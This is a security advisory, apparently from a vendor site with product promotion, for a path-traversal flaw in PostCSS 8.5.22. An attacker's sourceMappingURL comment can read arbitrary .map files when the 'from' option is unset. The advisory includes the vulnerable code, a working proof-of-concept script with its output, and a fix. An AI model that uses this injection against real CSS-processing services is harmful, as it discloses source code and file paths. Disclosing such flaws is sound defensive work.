Summary
PostCSS: incomplete fix of GHSA-6g55-p6wh-862q, attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22, the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
Frequently Asked Questions
- What is CVE-2026-69153? CVE-2026-69153 is a medium-severity path traversal vulnerability in postcss (npm), affecting versions <= 8.5.22. It is fixed in 8.5.23. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of postcss are affected by CVE-2026-69153? postcss (npm) versions <= 8.5.22 is affected.
- Is there a fix for CVE-2026-69153? Yes. CVE-2026-69153 is fixed in 8.5.23. Upgrade to this version or later.
- Is CVE-2026-69153 exploitable, and should I be worried? Whether CVE-2026-69153 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69153 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69153? Upgrade
postcssto 8.5.23 or later.